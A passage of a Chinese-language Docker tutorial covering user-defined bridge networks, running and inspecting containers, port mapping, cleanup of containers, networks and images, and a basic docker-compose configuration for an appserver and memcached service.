2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">latest</p>标签。</div></blockquote><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">完成这两个镜像的拉取后，可以通过执行<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker images</p>命令来验证镜像是否已下载。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.12037037037037036" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c6dcac0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuTgHo6RJa6CJmQfYicibG3cLtuOhCpyR7JS7AIRn960VWzyvmOLmW2q2A%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>为容器之间的路由请求创建网络命名空间</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">可以使用主机网络在<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">appserver</p>和<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">memcached</p>之间路由请求。但是这没意思，所以创建一个用户定义的网络并将其分配给这两个服务。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">将使用网桥网络，因为它允许通过同一网桥连接时在容器之间创建链接，从而隔离其它在不同网络上的容器。在内部，它将使用名称空间来分配网桥并为其创建<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables</p>规则。当启动 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 时，会自动创建一个默认的桥接网络（也称为<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">bridge</p>），除非另有指定，否则新启动的容器将连接到它。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker network create</p>命令创建网络。默认情况下，它将创建一个桥接网络，其名称在命令后指定。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2759259259259259" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=12da38dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuxib4bbpw1nRReW38ejqzHjsGlBcIltu5Nicg7pibyKicn46IZPePl4mMKQ%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">成功创建网络并准备好使用后，可以在创建或运行容器通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">--network app-test</p>参数指定它们使用的网络。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>创建使用app-test网络路由的容器</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">创建并启动容器，可以通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker run</p>命令来完成。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">docker run --network app-test -d registry:5000/appserverdocker run --network app-test -d registry:5000/memcached-app</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">该标志<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-d</p>将告诉容器从当前 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">shell</p> 会话中分离并在后台上下文中启动。但是，为了调试容器，始终可以通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker logs</p>命令获取日志并使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker exec</p>命令启动 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">shell</p> 会话</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">要获取正在运行的容器的列表，可以执行<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker ps</p>命令。该命令将获取所有正在运行的容器的列表。此外，可以使用带有<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-a</p>标志的相同命令来获取所有状态（包括运行）的容器。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.07407407407407407" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1a7c6717&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuh0CVN9Sw9siaSqUtenic4ibyk4iah19Qp5gbIfgMlqrS366aejOkbhvlCg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>通过 IP地址 与 容器交互</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">部署容器后，无法直接看到容器的 IP 地址。但可以使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker inspect</p>命令获取有关已创建容器的详细信息，如文件系统、网络详细信息等等。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.162839248434238" data-type="png" data-w="958" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=78f7ae88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icu9xyOk3srJTTQia63nw86DLhOftyCGZWYOBFlWWm1lOu1g7xJ2phPiaNA%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">还可以通过提供<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-p 8080:80</p>标志来部署具有端口绑定的容器。这会将发送到 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">localhost:8080</p> 的流量重定向到容器上的端口 80。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">现在可以验证端口 80 是否开放 IP 地址并通过 curl 执行 HTTP 请求。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.43" data-type="png" data-w="1000" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a473cc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icublh2vR6dZJvUa43YSAmibFxEtNsGEhflm9GuSj83Qf2yFdwJ8lK6SfQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>停止包含并销毁资源</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">完成工作后，建议停止容器为系统上的其他进程或容器运行提供空间。在现实世界中，只有当在服务器上滚动更新并希望关闭旧的运行代码服务时，才会这样做。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">要停止容器，可以<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker stop</p>使用多个容器 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ID</p>（来自<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker ps</p>输出）或容器名称来执行命令。如果要停止所有正在运行的容器，使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker stop $(docker ps -q)</p>命令，如下所示</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.17777777777777778" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c7585ae1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuYFrXbJl7fsCINMpD4xRiaI18DYL6GWd6pazkjZMIfgd5ic5icvibba9vnw%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">删除容器以释放它们在主机文件系统中占用的磁盘空间。这可以通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker rm</p>命令或<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker container rm</p>命令来完成。删除所有容器，使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker rm $(docker ps -aq)</p>。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.13333333333333333" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=577fd6a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icu8RdDeNsWgDyIEpqHGUOfgxVgnwBnpppj5mSmbHxGbE7KoEHpAFgFLQ%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">删除网络命名空间以释放 IP 地址范围和冗余 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables</p> 规则。可以通过提供网络名称或 ID（来自d<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ocker network ls</p>命令） 的<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker network rm</p>命令来执行此操作。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4072657743785851" data-type="png" data-w="1046" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6381c215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icummFjIkMfgRJyOic0qZQbQ0ia4lBahNrJZy33pB86DZQ2XdI8N5uiaaNyw%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了下一个<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose</p> 演示，清除所有镜像，以便系统返回到与开始时相同的状态。使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker rmi</p>命令或<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker image rm</p>命令，后跟镜像的名称或可以通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker images</p>或<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker image ls</p>命令获取的 ID。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6083333333333333" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=74e014dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuIfOWOtibXZu66opnhOONhvOkU1LNWM0HU7ZEuHFFkicKN43HoLBOHwNg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>使用 Docker Compose 执行部署</span></h2><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>概述</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker-compose</p>是一种易于使用的 yaml 配置，用于设置和管理应用程序的多容器架构设置，只需执行最少的命令。它由 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 团队管理，是一个完全开源的工具。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><strong style="color: rgb(119, 48, 152);">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose</p> 而不是手动一一设置的原因</strong></p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">yaml</p>文件的简单格式来配置资源和服务（容器）</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">一个文件来管理特定项目的所有容器</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 不同，执行启动、停止操作和扩展容器非常容易。此外，可以轻松创建或销毁资源</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">默认情况下为当前应用程序上下文创建网桥以提供网络级隔离</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">允许开发人员使用配置即时构建容器</p></div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose</p> 的默认文件是<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose.yml</p> ，或者<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose -f</p>指定配置文件</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>为两个服务编写配置</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这些服务是要运行和部署的应用程序，它会为每个服务至少创建一个容器。由于<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">memcached-app</p>服务需要部署在<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">appservice</p>之后，可以通过在composer文件中使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">depends_on</p>配置依赖</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #9CDCFE;line-height: 26px;">version:</span> <span style="color: #D69D85;line-height: 26px;">&#34;3.3&#34;</span><span style="color: #9CDCFE;line-height: 26px;">services:</span>  <span style="color: #9CDCFE;line-height: 26px;">memcached:</span>    <span style="color: #9CDCFE;line-height: 26px;">image:</span> <span style="color: #D69D85;line-height: 26px;">registry:5000/memcached-app</span>    <span style="color: #9CDCFE;line-height: 26px;">depends_on:</span>      <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #D69D85;line-height: 26px;">app</span>  <span style="color: #9CDCFE;line-height: 26px;">app:</span>    <span style="color: #9CDCFE;line-height: 26px;">image:</span> <span style="color: #D69D85;line-height: 26px;">registry:5000/appserver</span>    <span style="color: #9CDCFE;line-height: 26px;">ports:</span>      <span style="color: #D7BA7D;line-height: 26px;">-</span> <span style="color: #D69D85;line-height: 26px;">&#34;8080:80&#34;</span>  <span style="color: #57A64A;font-style: italic;line-height: 26px;"># mapping the port 80 of container with 8080 on the host (both ipv4 and ipv6)</span></p></pre><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>启动服务并访问appserver</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">看看用一个简单的<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 